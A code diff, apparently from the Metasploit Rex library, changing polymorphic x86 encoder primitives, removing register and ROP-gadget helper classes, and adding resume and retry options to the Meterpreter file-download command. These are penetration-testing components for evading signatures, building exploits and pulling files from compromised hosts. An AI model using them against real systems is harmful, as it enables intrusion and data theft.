::Proc.new do | block, machine, variable, value |
|
||||
if( machine.variable_exist?( value ) )
|
||||
raise UnallowedPermutation
|
||||
end
|
||||
[
|
||||
"sub #{machine.variable_value( variable )}, #{ "0x%08X" % [ ~(machine.resolve_value( value ) - 1) & 0xFFFFFFFF ] }"
|
||||
]
|
||||
end
|
||||
# ::Proc.new do | block, machine, variable, value |
|
||||
# if( machine.variable_exist?( value ) )
|
||||
# raise UnallowedPermutation
|
||||
# end
|
||||
# [
|
||||
# "push #{ "0x%08X" % [ ~(machine.resolve_value( value ) - 1) & 0xFFFFFFFF ] }",
|
||||
# "pop #{machine.variable_value( 'temp' )}",
|
||||
# "not #{machine.variable_value( 'temp' )}",
|
||||
# "add #{machine.variable_value( variable )}, #{machine.variable_value( 'temp' )}"
|
||||
# ]
|
||||
# end,
|
||||
# ::Proc.new do | block, machine, variable, value |
|
||||
# if( machine.variable_exist?( value ) )
|
||||
# raise UnallowedPermutation
|
||||
# end
|
||||
# [
|
||||
# "xor #{machine.variable_value( 'temp' )}, #{machine.variable_value( 'temp' )}",
|
||||
# "mov #{machine.variable_value( 'temp', 16 )}, #{ "0x%04X" % [ ~(machine.resolve_value( value ) - 1) & 0xFFFF ] }",
|
||||
# "not #{machine.variable_value( 'temp', 16 )}",
|
||||
# "add #{machine.variable_value( variable )}, #{machine.variable_value( 'temp' )}"
|
||||
# ]
|
||||
# end,
|
||||
)
|
||||
|
||||
#
|
||||
# Create the 'set' primitive. The first param it the variable which will be set. the second
|
||||
# param is the value to set the variable to (a variable, block or literal).
|
||||
#
|
||||
_create_primitive( 'set',
|
||||
::Proc.new do | block, machine, variable, value |
|
||||
if( machine.variable_exist?( value ) )
|
||||
raise UnallowedPermutation
|
||||
end
|
||||
[
|
||||
"push #{ "0x%08X" % [ ~machine.resolve_value( value ) & 0xFFFFFFFF ] }",
|
||||
"pop #{machine.variable_value( variable )}",
|
||||
"not #{machine.variable_value( variable )}"
|
||||
]
|
||||
end,
|
||||
::Proc.new do | block, machine, variable, value |
|
||||
if( machine.variable_exist?( value ) )
|
||||
raise UnallowedPermutation
|
||||
end
|
||||
if( machine.resolve_value( value, WORD ) > 0xFFFF )
|
||||
raise UndefinedPermutation
|
||||
end
|
||||
[
|
||||
"xor #{machine.variable_value( variable )}, #{machine.variable_value( variable )}",
|
||||
"mov #{machine.variable_value( variable, WORD )}, #{ "0x%04X" % [ ~machine.resolve_value( value, WORD ) & 0xFFFF ] }",
|
||||
"not #{machine.variable_value( variable, WORD )}"
|
||||
]
|
||||
end,
|
||||
::Proc.new do | block, machine, variable, value |
|
||||
[
|
||||
"push #{machine.resolve_value( value )}",
|
||||
"pop #{machine.variable_value( variable )}"
|
||||
]
|
||||
end,
|
||||
::Proc.new do | block, machine, variable, value |
|
||||
[
|
||||
"mov #{machine.variable_value( variable )}, #{machine.resolve_value( value )}"
|
||||
]
|
||||
end,
|
||||
::Proc.new do | block, machine, variable, value |
|
||||
if( machine.variable_exist?( value ) )
|
||||
raise UnallowedPermutation
|
||||
end
|
||||
if( machine.resolve_value( value, WORD ) > 0xFFFF )
|
||||
raise UndefinedPermutation
|
||||
end
|
||||
[
|
||||
"xor #{machine.variable_value( variable )}, #{machine.variable_value( variable )}",
|
||||
"mov #{machine.variable_value( variable, WORD )}, #{ "0x%04X" % [ machine.resolve_value( value, WORD ) & 0xFFFF ] }"
|
||||
]
|
||||
end,
|
||||
::Proc.new do | block, machine, variable, value |
|
||||
if( machine.variable_exist?( value ) )
|
||||
raise UnallowedPermutation
|
||||
end
|
||||
dword = machine.make_safe_dword( machine.resolve_value( value ) )
|
||||
[
|
||||
"mov #{machine.variable_value( variable )}, #{ "0x%08X" % [ dword ] }",
|
||||
"sub #{machine.variable_value( variable )}, #{ "0x%08X" % [ dword - machine.resolve_value( value ) ] }"
|
||||
]
|
||||
end,
|
||||
::Proc.new do | block, machine, variable, value |
|
||||
if( machine.variable_exist?( value ) )
|
||||
raise UnallowedPermutation
|
||||
end
|
||||
dword = machine.make_safe_dword( machine.resolve_value( value ) )
|
||||
[
|
||||
"mov #{machine.variable_value( variable )}, #{ "0x%08X" % [ dword - machine.resolve_value( value ) ] }",
|
||||
"add #{machine.variable_value( variable )}, #{ "0x%08X" % [ ~dword & 0xFFFFFFFF ] }",
|
||||
"not #{machine.variable_value( variable )}"
|
||||
]
|
||||
end
|
||||
)
|
||||
|
||||
#
|
||||
# Create the 'load' primitive. The first param it the variable which will be set. The second
|
||||
# param is the value (either a variable or literal) to load from. the third param is the size
|
||||
# of the load operation, either DWORD, WORD or BYTE.
|
||||
#
|
||||
_create_primitive( 'load',
|
||||
::Proc.new do | block, machine, variable, value, size |
|
||||
result = nil
|
||||
if( size == Rex::Poly::Machine::DWORD )
|
||||
result = [ "mov #{machine.variable_value( variable )}, [#{machine.resolve_value( value )}]" ]
|
||||
elsif( size == Rex::Poly::Machine::WORD )
|
||||
result = [ "movzx #{machine.variable_value( variable )}, word [#{machine.resolve_value( value )}]" ]
|
||||
elsif( size == Rex::Poly::Machine::BYTE )
|
||||
result = [ "movzx #{machine.variable_value( variable )}, byte [#{machine.resolve_value( value )}]" ]
|
||||
else
|
||||
raise InvalidPermutation
|
||||
end
|
||||
result
|
||||
end,
|
||||
::Proc.new do | block, machine, variable, value, size |
|
||||
result = nil
|
||||
if( size == Rex::Poly::Machine::DWORD )
|
||||
# we raise and UnallowedPermutation here as this permutation should only satisfy requests for
|
||||
# sizes of WORD or BYTE, any DWORD requests will be satisfied by the above permutation (otherwise
|
||||
# we would just be duplicating a 'mov dest, [src]' sequence which is the same as above.
|
||||
raise UnallowedPermutation
|
||||
elsif( size == Rex::Poly::Machine::WORD )
|
||||
result = [
|
||||
"mov #{machine.variable_value( variable )}, [#{machine.resolve_value( value )}]",
|
||||
"shl #{machine.variable_value( variable )}, 16",
|
||||
"shr #{machine.variable_value( variable )}, 16"
|
||||
]
|
||||
elsif( size == Rex::Poly::Machine::BYTE )
|
||||
result = [
|
||||
"mov #{machine.variable_value( variable )}, [#{machine.resolve_value( value )}]",
|
||||
"shl #{machine.variable_value( variable )}, 24",
|
||||
"shr #{machine.variable_value( variable )}, 24"
|
||||
]
|
||||
else
|
||||
raise InvalidPermutation
|
||||
end
|
||||
result
|
||||
end,
|
||||
::Proc.new do | block, machine, variable, value, size |
|
||||
result = nil
|
||||
if( size == Rex::Poly::Machine::DWORD )
|
||||
result = [
|
||||
"push [#{machine.resolve_value( value )}]",
|
||||
"pop #{machine.variable_value( variable )}"
|
||||
]
|
||||
elsif( size == Rex::Poly::Machine::WORD )
|
||||
result = [
|
||||
"push [#{machine.resolve_value( value )}]",
|
||||
"pop #{machine.variable_value( variable )}",
|
||||
"shl #{machine.variable_value( variable )}, 16",
|
||||
"shr #{machine.variable_value( variable )}, 16"
|
||||
]
|
||||
elsif( size == Rex::Poly::Machine::BYTE )
|
||||
result = [
|
||||
"push [#{machine.resolve_value( value )}]",
|
||||
"pop #{machine.variable_value( variable )}",
|
||||
"shl #{machine.variable_value( variable )}, 24",
|
||||
"shr #{machine.variable_value( variable )}, 24"
|
||||
]
|
||||
else
|
||||
raise InvalidPermutation
|
||||
end
|
||||
result
|
||||
end
|
||||
)
|
||||
|
||||
#
|
||||
# Create the 'store' primitive.
|
||||
#
|
||||
_create_primitive( 'store',
|
||||
::Proc.new do | block, machine, variable, value, size |
|
||||
result = nil
|
||||
if( size == Rex::Poly::Machine::DWORD )
|
||||
result = [ "mov [#{machine.variable_value( variable )}], #{machine.resolve_value( value )}" ]
|
||||
elsif( size == Rex::Poly::Machine::WORD )
|
||||
result = [ "mov word [#{machine.variable_value( variable )}], #{machine.resolve_value( value, WORD )}" ]
|
||||
elsif( size == Rex::Poly::Machine::BYTE )
|
||||
if( machine.resolve_value( value, BYTE ).nil? )
|
||||
# so long as we cant resolve the variable to an 8bit register value (AL,BL,CL,DL) we must raise
|
||||
# an UndefinedPermutation exception (this will happen when the variable has been assigned to ESI,
|
||||
# EDI, EBP or ESP which dont have a low byte representation)
|
||||
raise UndefinedPermutation
|
||||
end
|
||||
result = [ "mov byte [#{machine.variable_value( variable )}], #{machine.resolve_value( value, BYTE )}" ]
|
||||
else
|
||||
raise InvalidPermutation
|
||||
end
|
||||
result
|
||||
end,
|
||||
::Proc.new do | block, machine, variable, value, size |
|
||||
result = nil
|
||||
if( size == Rex::Poly::Machine::DWORD )
|
||||
result = [
|
||||
"push #{machine.resolve_value( value )}",
|
||||
"pop [#{machine.variable_value( variable )}]"
|
||||
]
|
||||
elsif( size == Rex::Poly::Machine::WORD )
|
||||
result = [
|
||||
"push #{machine.resolve_value( value, WORD )}",
|
||||
"pop word [#{machine.variable_value( variable )}]"
|
||||
]
|
||||
else
|
||||
# we can never do this permutation for BYTE size (or any other size)
|
||||
raise UnallowedPermutation
|
||||
end
|
||||
result
|
||||
end
|
||||
)
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
|
@ -1,101 +0,0 @@
|
|||
# -*- coding: binary -*-
|
||||
module Rex
|
||||
module Poly
|
||||
|
||||
###
|
||||
#
|
||||
# This class represents a register that is used in the context of one or more
|
||||
# logical blocks. The register number is assigned on demand or is statically
|
||||
# specified if passed in to the constructor.
|
||||
#
|
||||
###
|
||||
class LogicalRegister
|
||||
|
||||
require 'rex/poly/register/x86'
|
||||
|
||||
#
|
||||
# This class method is meant to return an array of register numbers that
|
||||
# can be used to pool from. Architecture specific classes must implement
|
||||
# this method on their own.
|
||||
#
|
||||
def self.regnum_set
|
||||
nil
|
||||
end
|
||||
|
||||
#
|
||||
# Initializes the register's name and number, if assigned. If a register
|
||||
# number is specified, the instance will be assumed to have a statically
|
||||
# assigned register number. The name is meant to be used as a symbolic
|
||||
# variable name, such as 'counter' or 'key'.
|
||||
#
|
||||
def initialize(name, regnum = nil)
|
||||
@name = name
|
||||
@regnum = regnum
|
||||
@static = (regnum) ? true : false
|
||||
end
|
||||
|
||||
#
|
||||
# Returns true if the register number should be assumed static.
|
||||
#
|
||||
def static?
|
||||
@static
|
||||
end
|
||||
|
||||
#
|
||||
# Sets the register number to the value specified. If the register number
|
||||
# is declared static, a RuntimeError exception is raised.
|
||||
#
|
||||
def regnum=(val)
|
||||
raise RuntimeError, "Attempted to assign regnum to static register" if (static?)
|
||||
|
||||
@regnum = val
|
||||
end
|
||||
|
||||
#
|
||||
# Returns the register number that has currently been assigned. If no
|
||||
# register number is assigned, an InvalidRegisterError exception is raised.
|
||||
# This exception can be used to assign the LogicalRegister instance a
|
||||
# register number on demand.
|
||||
#
|
||||
def regnum
|
||||
raise InvalidRegisterError.new(self), "Register has not been assigned" if (@regnum == nil)
|
||||
|
||||
@regnum
|
||||
end
|
||||
|
||||
#
|
||||
# Returns the variable (friendly) name for the register that was passed to
|
||||
# the constructor.
|
||||
#
|
||||
attr_reader :name
|
||||
|
||||
protected
|
||||
|
||||
end
|
||||
|
||||
###
|
||||
#
|
||||
# An exception that is raised when the regnum method is accessed on a
|
||||
# LogicalRegister that does not currently have a regnum assigned to it.
|
||||
#
|
||||
###
|
||||
class InvalidRegisterError < RuntimeError
|
||||
|
||||
#
|
||||
# Initializes the exception with the instance that lead to the generation
|
||||
# of the exception such that it can be assigned a register number as
|
||||
# needed.
|
||||
#
|
||||
def initialize(reg)
|
||||
@reg = reg
|
||||
end
|
||||
|
||||
#
|
||||
# The LogicalRegister instance that generated the exception.
|
||||
#
|
||||
attr_reader :reg
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
end
|
|
@ -1,41 +0,0 @@
|
|||
# -*- coding: binary -*-
|
||||
require 'rex/arch/x86'
|
||||
|
||||
module Rex
|
||||
module Poly
|
||||
|
||||
###
|
||||
#
|
||||
# This class encapsulates logical registers for the X86 architecture.
|
||||
#
|
||||
###
|
||||
class LogicalRegister::X86 < LogicalRegister
|
||||
|
||||
#
|
||||
# The default set of register numbers that can be used on x86.
|
||||
#
|
||||
def self.regnum_set
|
||||
[
|
||||
Rex::Arch::X86::EAX,
|
||||
Rex::Arch::X86::EBX,
|
||||
Rex::Arch::X86::ECX,
|
||||
Rex::Arch::X86::EDX,
|
||||
Rex::Arch::X86::ESI,
|
||||
Rex::Arch::X86::EDI,
|
||||
Rex::Arch::X86::EBP,
|
||||
Rex::Arch::X86::ESP
|
||||
]
|
||||
end
|
||||
|
||||
#
|
||||
# Calls the base class constructor after translating the register name to
|
||||
# number.
|
||||
#
|
||||
def initialize(name, register = nil)
|
||||
super(name, register ? Rex::Arch::X86.reg_number(register) : nil)
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
end
|
|
@ -195,9 +195,33 @@ class Dir < Rex::Post::Dir
|
|||
# Downloads the contents of a remote directory a
|
||||
# local directory, optionally in a recursive fashion.
|
||||
#
|
||||
def Dir.download(dst, src, recursive = false, force = true, glob = nil, timestamp = nil, &stat)
|
||||
def Dir.download(dst, src, opts, force = true, glob = nil, &stat)
|
||||
recursive = false
|
||||
continue = false
|
||||
tries = false
|
||||
tries_no = 0
|
||||
tries_cnt = 0
|
||||
if opts
|
||||
timestamp = opts["timestamp"]
|
||||
recursive = true if opts["recursive"]
|
||||
continue = true if opts["continue"]
|
||||
tries = true if opts["tries"]
|
||||
tries_no = opts["tries_no"]
|
||||
end
|
||||
begin
|
||||
dir_files = self.entries(src, glob)
|
||||
rescue Rex::TimeoutError
|
||||
if (tries && (tries_no == 0 || tries_cnt < tries_no))
|
||||
tries_cnt += 1
|
||||
stat.call('error listing - retry #', tries_cnt, src) if (stat)
|
||||
retry
|
||||
else
|
||||
stat.call('error listing directory - giving up', src, dst) if (stat)
|
||||
raise
|
||||
end
|
||||
end
|
||||
|
||||
self.entries(src, glob).each { |src_sub|
|
||||
dir_files.each { |src_sub|
|
||||
dst_item = dst + ::File::SEPARATOR + client.unicode_filter_encode(src_sub)
|
||||
src_item = src + client.fs.file.separator + client.unicode_filter_encode(src_sub)
|
||||
|
||||
|
@ -205,7 +229,19 @@ class Dir < Rex::Post::Dir
|
|||
next
|
||||
end
|
||||
|
||||
tries_cnt = 0
|
||||
begin
|
||||
src_stat = client.fs.filestat.new(src_item)
|
||||
rescue Rex::TimeoutError
|
||||
if (tries && (tries_no == 0 || tries_cnt < tries_no))
|
||||
tries_cnt += 1
|
||||
stat.call('error opening file - retry #', tries_cnt, src_item) if (stat)
|
||||
retry
|
||||
else
|
||||
stat.call('error opening file - giving up', tries_cnt, src_item) if (stat)
|
||||
raise
|
||||
end
|
||||
end
|
||||
|
||||
if (src_stat.file?)
|
||||
if timestamp
|
||||
|
@ -215,7 +251,11 @@ class Dir < Rex::Post::Dir
|
|||
stat.call('downloading', src_item, dst_item) if (stat)
|
||||
|
||||
begin
|
||||
result = client.fs.file.download_file(dst_item, src_item)
|
||||
if (continue || tries) # allow to file.download to log messages
|
||||
result = client.fs.file.download_file(dst_item, src_item, opts, &stat)
|
||||
else
|
||||
result = client.fs.file.download_file(dst_item, src_item, opts)
|
||||
end
|
||||
stat.call(result, src_item, dst_item) if (stat)
|
||||
rescue ::Rex::Post::Meterpreter::RequestError => e
|
||||
if force
|
||||
|
@ -236,10 +276,10 @@ class Dir < Rex::Post::Dir
|
|||
end
|
||||
|
||||
stat.call('mirroring', src_item, dst_item) if (stat)
|
||||
download(dst_item, src_item, recursive, force, glob, timestamp, &stat)
|
||||
download(dst_item, src_item, opts, force, glob, &stat)
|
||||
stat.call('mirrored', src_item, dst_item) if (stat)
|
||||
end
|
||||
}
|
||||
} # entries
|
||||
end
|
||||
|
||||
#
|
||||
|
|
|
@ -280,7 +280,8 @@ class File < Rex::Post::Meterpreter::Extensions::Stdapi::Fs::IO
|
|||
# If a block is given, it will be called before each file is downloaded and
|
||||
# again when each download is complete.
|
||||
#
|
||||
def File.download(dest, src_files, timestamp = nil, &stat)
|
||||
def File.download(dest, src_files, opts = nil, &stat)
|
||||
timestamp = opts["timestamp"] if opts
|
||||
[*src_files].each { |src|
|
||||
if (::File.basename(dest) != File.basename(src))
|
||||
# The destination when downloading is a local file so use this
|
||||
|
@ -294,7 +295,7 @@ class File < Rex::Post::Meterpreter::Extensions::Stdapi::Fs::IO
|
|||
end
|
||||
|
||||
stat.call('downloading', src, dest) if (stat)
|
||||
result = download_file(dest, src)
|
||||
result = download_file(dest, src, opts, &stat)
|
||||
stat.call(result, src, dest) if (stat)
|
||||
}
|
||||
end
|
||||
|
@ -302,7 +303,15 @@ class File < Rex::Post::Meterpreter::Extensions::Stdapi::Fs::IO
|
|||
#
|
||||
# Download a single file.
|
||||
#
|
||||
def File.download_file(dest_file, src_file)
|
||||
def File.download_file(dest_file, src_file, opts = nil, &stat)
|
||||
continue=false
|
||||
tries=false
|
||||
tries_no=0
|
||||
if opts
|
||||
continue = true if opts["continue"]
|
||||
tries = true if opts["tries"]
|
||||
tries_no = opts["tries_no"]
|
||||
end
|
||||
src_fd = client.fs.file.new(src_file, "rb")
|
||||
|
||||
# Check for changes
|
||||
|
@ -318,13 +327,62 @@ class File < Rex::Post::Meterpreter::Extensions::Stdapi::Fs::IO
|
|||
dir = ::File.dirname(dest_file)
|
||||
::FileUtils.mkdir_p(dir) if dir and not ::File.directory?(dir)
|
||||
|
||||
if continue
|
||||
# continue downloading the file - skip downloaded part in the source
|
||||
dst_fd = ::File.new(dest_file, "ab")
|
||||
begin
|
||||
dst_fd.seek(0, ::IO::SEEK_END)
|
||||
in_pos = dst_fd.pos
|
||||
src_fd.seek(in_pos)
|
||||
stat.call('continuing from ', in_pos, src_file) if (stat)
|
||||
rescue
|
||||
# if we can't seek, download again
|
||||
stat.call('error continuing - downloading from scratch', src_file, dest_file) if (stat)
|
||||
dst_fd.close
|
||||
dst_fd = ::File.new(dest_file, "wb")
|
||||
end
|
||||
else
|
||||
dst_fd = ::File.new(dest_file, "wb")
|
||||
end
|
||||
|
||||
# Keep transferring until EOF is reached...
|
||||
begin
|
||||
if tries
|
||||
# resume when timeouts encountered
|
||||
seek_back = false
|
||||
tries_cnt = 0
|
||||
begin # while
|
||||
begin # exception
|
||||
if seek_back
|
||||
in_pos = dst_fd.pos
|
||||
src_fd.seek(in_pos)
|
||||
seek_back = false
|
||||
stat.call('resuming at ', in_pos, src_file) if (stat)
|
||||
else
|
||||
# succesfully read and wrote - reset the counter
|
||||
tries_cnt = 0
|
||||
end
|
||||
data = src_fd.read
|
||||
rescue Rex::TimeoutError
|
||||
# timeout encountered - either seek back and retry or quit
|
||||
if (tries && (tries_no == 0 || tries_cnt < tries_no))
|
||||
tries_cnt += 1
|
||||
seek_back = true
|
||||
stat.call('error downloading - retry #', tries_cnt, src_file) if (stat)
|
||||
retry
|
||||
else
|
||||
stat.call('error downloading - giving up', src_file, dest_file) if (stat)
|
||||
raise
|
||||
end
|
||||
end
|
||||
dst_fd.write(data) if (data != nil)
|
||||
end while (data != nil)
|
||||
else
|
||||
# do the simple copying quiting on the first error
|
||||
while ((data = src_fd.read) != nil)
|
||||
dst_fd.write(data)
|
||||
end
|
||||
end
|
||||
rescue EOFError
|
||||
ensure
|
||||
src_fd.close
|
||||
|
|
|
@ -376,7 +376,7 @@ private
|
|||
dest = File.join( dest_folder, base )
|
||||
|
||||
if stat.directory?
|
||||
client.fs.dir.download( dest, source, true, true ) { |step, src, dst|
|
||||
client.fs.dir.download( dest, source, {"recursive" => true}, true ) { |step, src, dst|
|
||||
print_line( "#{step.ljust(11)} : #{src} -> #{dst}" )
|
||||
client.framework.events.on_session_download( client, src, dest ) if msf_loaded?
|
||||
}
|
||||
|
|
|
@ -24,6 +24,8 @@ class Console::CommandDispatcher::Stdapi::Fs
|
|||
#
|
||||
@@download_opts = Rex::Parser::Arguments.new(
|
||||
"-h" => [ false, "Help banner." ],
|
||||
"-c" => [ false, "Resume getting a partially-downloaded file." ],
|
||||
"-l" => [ true, "Set the limit of retries (0 unlimits)." ],
|
||||
"-r" => [ false, "Download recursively." ],
|
||||
"-t" => [ false, "Timestamp downloaded files." ])
|
||||
#
|
||||
|
@ -333,17 +335,29 @@ class Console::CommandDispatcher::Stdapi::Fs
|
|||
end
|
||||
|
||||
recursive = false
|
||||
timestamp = false
|
||||
src_items = []
|
||||
last = nil
|
||||
dest = nil
|
||||
continue = false
|
||||
tries = false
|
||||
tries_no = 0
|
||||
opts = {}
|
||||
|
||||
@@download_opts.parse(args) { |opt, idx, val|
|
||||
case opt
|
||||
when "-r"
|
||||
recursive = true
|
||||
opts['recursive'] = true
|
||||
when "-c"
|
||||
continue = true
|
||||
opts['continue'] = true
|
||||
when "-l"
|
||||
tries = true
|
||||
tries_no = val.to_i
|
||||
opts['tries'] = true
|
||||
opts['tries_no'] = tries_no
|
||||
when "-t"
|
||||
timestamp = true
|
||||
opts['timestamp'] = '_' + Time.now.iso8601
|
||||
when nil
|
||||
src_items << last if (last)
|
||||
last = val
|
||||
|
@ -371,10 +385,6 @@ class Console::CommandDispatcher::Stdapi::Fs
|
|||
dest = ::File.dirname(dest)
|
||||
end
|
||||
|
||||
if timestamp
|
||||
ts = '_' + Time.now.iso8601
|
||||
end
|
||||
|
||||
# Go through each source item and download them
|
||||
src_items.each { |src|
|
||||
glob = nil
|
||||
|
@ -397,7 +407,7 @@ class Console::CommandDispatcher::Stdapi::Fs
|
|||
src_path = file['path'] + client.fs.file.separator + file['name']
|
||||
dest_path = src_path.tr(src_separator, ::File::SEPARATOR)
|
||||
|
||||
client.fs.file.download(dest_path, src_path, ts) do |step, src, dst|
|
||||
client.fs.file.download(dest_path, src_path, opts) do |step, src, dst|
|
||||
print_status("#{step.ljust(11)}: #{src} -> #{dst}")
|
||||
client.framework.events.on_session_download(client, src, dest) if msf_loaded?
|
||||
end
|
||||
|
@ -409,14 +419,27 @@ class Console::CommandDispatcher::Stdapi::Fs
|
|||
|
||||
else
|
||||
# Perform direct matching
|
||||
tries_cnt = 0
|
||||
begin
|
||||
stat = client.fs.file.stat(src)
|
||||
rescue Rex::TimeoutError
|
||||
if (tries && (tries_no == 0 || tries_cnt < tries_no))
|
||||
tries_cnt += 1
|
||||
print_error("Error opening: #{src} - retry (#{tries_cnt})")
|
||||
retry
|
||||
else
|
||||
print_error("Error opening: #{src} - giving up")
|
||||
raise
|
||||
end
|
||||
end
|
||||
|
||||
if (stat.directory?)
|
||||
client.fs.dir.download(dest, src, recursive, true, glob, ts) do |step, src, dst|
|
||||
client.fs.dir.download(dest, src, opts, true, glob) do |step, src, dst|
|
||||
print_status("#{step.ljust(11)}: #{src} -> #{dst}")
|
||||
client.framework.events.on_session_download(client, src, dest) if msf_loaded?
|
||||
end
|
||||
elsif (stat.file?)
|
||||
client.fs.file.download(dest, src, ts) do |step, src, dst|
|
||||
client.fs.file.download(dest, src, opts) do |step, src, dst|
|
||||
print_status("#{step.ljust(11)}: #{src} -> #{dst}")
|
||||
client.framework.events.on_session_download(client, src, dest) if msf_loaded?
|
||||
end
|
||||
|
|
|
@ -840,7 +840,6 @@ NTLM_UTILS = Rex::Proto::NTLM::Utils
|
|||
flags: ntlmssp_flags
|
||||
)
|
||||
|
||||
|
||||
blob = @ntlm_client.init_context.serialize
|
||||
|
||||
native_data = ''
|
||||
|
@ -901,6 +900,14 @@ NTLM_UTILS = Rex::Proto::NTLM::Utils
|
|||
# Save the temporary UserID for use in the next request
|
||||
temp_user_id = ack['Payload']['SMB'].v['UserID']
|
||||
|
||||
blob_data = NTLM_UTILS.parse_ntlm_type_2_blob(blob)
|
||||
#netbios name
|
||||
self.default_name = blob_data[:default_name] || ''
|
||||
#dns name
|
||||
self.dns_host_name = blob_data[:dns_host_name] || ''
|
||||
#dns domain
|
||||
self.dns_domain_name = blob_data[:dns_domain_name] || ''
|
||||
|
||||
type3 = @ntlm_client.init_context([blob].pack('m'))
|
||||
type3_blob = type3.serialize
|
||||
self.signing_key = @ntlm_client.session_key
|
||||
|
|
|
@ -1,8 +0,0 @@
|
|||
# -*- coding: binary -*-
|
||||
module Rex
|
||||
module RopBuilder
|
||||
|
||||
require 'rex/ropbuilder/rop'
|
||||
require 'metasm'
|
||||
end
|
||||
end
|
|
@ -1,271 +0,0 @@
|
|||
# -*- coding: binary -*-
|
||||
require 'metasm'
|
||||
require 'rex/compat'
|
||||
require 'rex/text/table'
|
||||
require 'rex/ui/text/output/stdio'
|
||||
require 'rex/text/color'
|
||||
|
||||
module Rex
|
||||
module RopBuilder
|
||||
|
||||
class RopBase
|
||||
def initialize()
|
||||
@stdio = Rex::Ui::Text::Output::Stdio.new
|
||||
@gadgets = []
|
||||
end
|
||||
|
||||
def to_csv(gadgets = [])
|
||||
if gadgets.empty? and @gadgets.nil? or @gadgets.empty?
|
||||
@stdio.print_error("No gadgets collected to convert to CSV format.")
|
||||
return
|
||||
end
|
||||
|
||||
# allow the users to import gadget collections from multiple files
|
||||
if @gadgets.empty? or @gadgets.nil?
|
||||
@gadgets = gadgets
|
||||
end
|
||||
|
||||
table = Rex::Text::Table.new(
|
||||
'Header' => "#{@file} ROP Gadgets",
|
||||
'Indent' => 1,
|
||||
'Columns' =>
|
||||
[
|
||||
"Address",
|
||||
"Raw",
|
||||
"Disassembly",
|
||||
])
|
||||
|
||||
@gadgets.each do |gadget|
|
||||
table << [gadget[:address], gadget[:raw].unpack('H*')[0], gadget[:disasm].gsub(/\n/, ' | ')]
|
||||
end
|
||||
|
||||
return table.to_csv
|
||||
end
|
||||
|
||||
def import(file)
|
||||
begin
|
||||
data = File.new(file, 'r').read
|
||||
rescue
|
||||
@stdio.print_error("Error reading #{file}")
|
||||
return []
|
||||
end
|
||||
|
||||
if data.empty? or data.nil?
|
||||
return []
|
||||
end
|
||||
|
||||
data.gsub!(/\"/, '')
|
||||
data.gsub!("Address,Raw,Disassembly\n", '')
|
||||
|
||||
@gadgets = []
|
||||
|
||||
data.each_line do |line|
|
||||
addr, raw, disasm = line.split(',', 3)
|
||||
if addr.nil? or raw.nil? or disasm.nil?
|
||||
@stdio.print_error("Import file format corrupted")
|
||||
return []
|
||||
end
|
||||
disasm.gsub!(/: /, ":\t")
|
||||
disasm.gsub!(' | ', "\n")
|
||||
raw = [raw].pack('H*')
|
||||
@gadgets << {:file => file, :address => addr, :raw => raw, :disasm => disasm.chomp!}
|
||||
end
|
||||
@gadgets
|
||||
end
|
||||
|
||||
def print_msg(msg, color=true)
|
||||
if not @stdio
|
||||
@stdio = Rex::Ui::Text::Output::Stdio.new
|
||||
end
|
||||
|
||||
if color == true
|
||||
@stdio.auto_color
|
||||
else
|
||||
@stdio.disable_color
|
||||
end
|
||||
@stdio.print_raw(@stdio.substitute_colors(msg))
|
||||
end
|
||||
end
|
||||
|
||||
class RopCollect < RopBase
|
||||
def initialize(file="")
|
||||
@stdio = Rex::Ui::Text::Output::Stdio.new
|
||||
@file = file if not file.empty?
|
||||
@bin = Metasm::AutoExe.decode_file(file) if not file.empty?
|
||||
@disassembler = @bin.disassembler if not @bin.nil?
|
||||
if @disassembler
|
||||
@disassembler.cpu = Metasm::Ia32.new('386_common')
|
||||
end
|
||||
super()
|
||||
end
|
||||
|
||||
def collect(depth, pattern)
|
||||
matches = []
|
||||
gadgets = []
|
||||
|
||||
# find matches by scanning for the pattern
|
||||
matches = @disassembler.pattern_scan(pattern)
|
||||
if @bin.kind_of?(Metasm::PE)
|
||||
@bin.sections.each do |section|
|
||||
next if section.characteristics.include? 'MEM_EXECUTE'
|
||||
# delete matches if the address is outside the virtual address space
|
||||
matches.delete_if do |ea|
|
||||
va = section.virtaddr + @bin.optheader.image_base
|
||||
ea >= va and ea < va + section.virtsize
|
||||
end
|
||||
end
|
||||
elsif @bin.kind_of?(Metasm::ELF)
|
||||
@bin.segments.each do |seg|
|
||||
next if seg.flags.include? 'X'
|
||||
matches.delete_if do |ea|
|
||||
ea >= seg.vaddr and ea < seg.vaddr + seg.memsz
|
||||
end
|
||||
end
|
||||
elsif @bin.kind_of?(Metasm::MachO)
|
||||
@bin.segments.each do |seg|
|
||||
next if seg.initprot.include? 'EXECUTE'
|
||||
matches.delete_if do |ea|
|
||||
ea >= seg.virtaddr and ea < seg.virtaddr + seg.filesize
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
gadgets = process_gadgets(matches, depth)
|
||||
gadgets.each do |gadget|
|
||||
@gadgets << gadget
|
||||
end
|
||||
gadgets
|
||||
end
|
||||
|
||||
def pattern_search(pattern)
|
||||
p = Regexp.new("(" + pattern + ")")
|
||||
matches = []
|
||||
|
||||
@gadgets.each do |gadget|
|
||||
disasm = ""
|
||||
addrs = []
|
||||
|
||||
gadget[:disasm].each_line do |line|
|
||||
addr, asm = line.split("\t", 2)
|
||||
addrs << addr
|
||||
disasm << asm
|
||||
end
|
||||
|
||||
if gadget[:raw] =~ p or gadget[:disasm] =~ p or disasm =~ p
|
||||
matches << {:gadget => gadget, :disasm => disasm, :addrs => addrs}
|
||||
end
|
||||
end
|
||||
matches.each do |match|
|
||||
@stdio.print_status("gadget with address: %bld%cya#{match[:gadget][:address]}%clr matched")
|
||||
color_pattern(match[:gadget], match[:disasm], match[:addrs], p)
|
||||
end
|
||||
matches
|
||||
end
|
||||
|
||||
def color_pattern(gadget, disasm, addrs, p)
|
||||
idx = disasm.index(p)
|
||||
if idx.nil?
|
||||
print_msg(gadget[:disasm])
|
||||
return
|
||||
end
|
||||
|
||||
disasm = disasm.insert(idx, "%bld%grn")
|
||||
|
||||
asm = ""
|
||||
cnt = 0
|
||||
colors = false
|
||||
disasm.each_line do |line|
|
||||
# if we find this then we are in the matching area
|
||||
if line.index(/\%bld\%grn/)
|
||||
colors = true
|
||||
end
|
||||
asm << "%clr" + addrs[cnt] + "\t"
|
||||
|
||||
# color the remaining parts of the gadget
|
||||
if colors and line.index("%bld%grn").nil?
|
||||
